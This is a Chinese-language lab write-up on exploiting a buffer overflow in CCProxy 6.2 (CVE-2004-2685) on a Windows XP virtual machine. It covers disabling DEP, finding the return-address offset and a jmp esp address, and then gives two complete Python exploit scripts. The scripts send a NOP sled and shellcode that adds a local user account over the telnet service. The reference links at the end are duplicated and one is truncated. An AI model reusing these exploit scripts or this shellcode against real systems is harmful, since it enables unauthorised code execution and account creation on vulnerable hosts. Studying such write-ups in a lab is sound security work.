CCProxy6.2溢出漏洞

虚拟机:VirtualBox 6.1.30
操作系统:WindowsXP SP2
主机OS:Microsoft Windows10
CVE编号:CVE-2004-2685

  1. 安装共享文件夹
    按照下面箭头指向程序,然后再虚拟机设置中自动挂载一个主机的共享文件夹

image-20220413203521512
2. 关闭winxp的DEP

  • 使系统显示C:\boot.ini
    image-20220416095545310
  • 修改DEP选项
    image-20220416095740516
  1. 查询虚拟机IP并连接ccproxy

    • 命令提示符中输入ipconfig可以获得ip地址,或者使用127.0.0.1
    • 在命令提示符中telnet 你的虚拟机IP地址 23
  2. 进行崩溃测试

    • ping输入10个a和2000个a
      image-20220413204334340
  3. 安装cdb并用命令提示符打开其所在目录

    • 在目标主机上运行CCProxy
    • 运行cdb –pn ccproxy.exe
  4. 在cdb运行界面输入g,然后重新开启一个cmd,如上面第三步连接到ccproxy上,ping2000个A后,cdb页面可获取到访问非法事件(access violation)
    image-20220413212120793

  5. 我们可以发现esp和esi寄存器也被我们所掌控

    image-20220414085813792

  6. 计算返回地址的思路
    利用一串不重复的字符填充缓冲区,然后查看覆盖RET的字符串,计算它们在整个字符串中的位置,从而得出缓冲区的大小及RET的偏移

    • 安装Perl,替换lib(不是删除,而是替换全部)
      image-20220414094929369
    • 生成2000个模式字符C: \Perl\bin> perl.exe patternCreate.pl 1.txt 2000
    • ping这2000个模式字符
      image-20220414100100764
    • 计算eip的值在整个长为2000的字符串中的偏移
      C: \Perl\bin> perl.exe patternOffset.pl 68423768 2000得到结果1012
      image-20220414102040367
    • dbg命令提示符挂起CCProxy进程后查询jmp esp命令地址
      image-20220414103437420
  7. 使用指向jmp esp命令的地址覆盖返回地址,再把shellcode放置在程序执行JMP ESP指令时ESP指向的地址处,即完成攻击

    • 生成1012个字符:perl.exe patternCreate.pl 1012.txt 1012
    • 再次运行并输入2000个字符,计算程序崩溃时,esp指向的位置内容
      image-20220414111156072
    • perl.exe patternOffset.pl 61413161 2000可以得到偏移为为4
  8. 构造命令字符串
    思路:在1012处的后四个字节为指令的返回地址,将指令的返回地址覆盖为jmp esp,此时的esp指向的是输入字符串的第四个字节,所以在第四个字节开始填充shellcode即可

  • 在ccproxy下的指令:ping + 空格
  • 使用4个\90填充到esp所指向的指令首地址
  • 填充shellcode(增加账户a的shellcode为80个字节)
  • 使用(1012 - 80- 4)个\90填充到第1012处
  • 使用jmp esp命令的地址\x12\x45\xfa\x7f覆盖返回地址
  • 使用91个\90填充到第1107处,如果只填充到1106处不可溢出
import socket
import os

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23))  #telnet用的是23端口
s = sock.recv(2022)   # 设置接受对方发送的数据字节数量
# 下面80个字符shellcode具有增加a帐户的功能
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0' 
jmpesp = b'\x12\x45\xfa\x7f'
sendStr = b'ping ' + b'\x90'*4 + shellcode + b'\x90'*(1012-80-4)+ \
          jmpesp + b'\x90'* 91
# 最好填充91个nop原因:命令字符串长度为1107可以溢出,在1106不可溢出,why?
sock.send(sendStr)  #发送shellcode
sock.send(b'\r\n')
s = sock.recv(2022)
print(s)
  1. 其他构造
# 该构造比较短,但是也可以触发CVE漏洞,但是jmp和返回地址后的填充字符串无法解释
import socket
import os
 
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1',23))  #telnet用的是23端口
s = sock.recv(2022)   # 设置接受对方发送的数据字节数量
print(s)

# 构造shellcode
sendStr = b'ping ' + b'\x90'*4  # 该漏洞的esp就是指向第四个字节
jmp= b'\xE9\x03\xFC\xFF\xFF\x90\x90\x90'       #从0x012E6700跳到0x012E6308
# shellcode作用是在本地增加一个a帐户
shellcode = b'\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x0C\xC6\x45\xF0\x6E\xC6\x45\xF1\x65\xC6\x45\xF2\x74\xC6\x45\xF3\x20\xC6\x45\xF4\x75\xC6\x45\xF5\x73\xC6\x45\xF6\x65\xC6\x45\xF7\x72\xC6\x45\xF8\x20\xC6\x45\xF9\x61\xC6\x45\xFA\x20\xC6\x45\xFB\x2F\xC6\x45\xFC\x61\xC6\x45\xFD\x64\xC6\x45\xFE\x64\x8D\x45\xF0\x50\xB8\xC7\x93\xBF\x77\xFF\xD0' 
# 为了覆盖返回地址的填充
padding = b'a'*920                
#jmpesp = b'\x12\x45\xfa\x7f'     # 指向jmp esp指令的地址0x7ffa4512覆盖ret
jmpesp = b'\xed\x1e\x96\x7c'
# 末尾至少填充16个字符
sendStr = sendStr+jmp+shellcode+padding+jmpesp +b'a'*16

sock.send(sendStr)                         #发送shellcode
sock.send(b'\n')
s = sock.recv(2022)
print(s)
  1. 攻击实现
    image-20220417183612068

漏洞原因https://blog.csdn.net/m0_46161993/article/details/106255148

CCProxy 6.2 溢出漏洞分析https://blog.csdn.net/daoyikong_x18/article/details/22860717

关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382
ps://blog.csdn.net/daoyikong_x18/article/details/22860717

关闭数据执行保护https://blog.csdn.net/weixin_34078749/article/details/119230382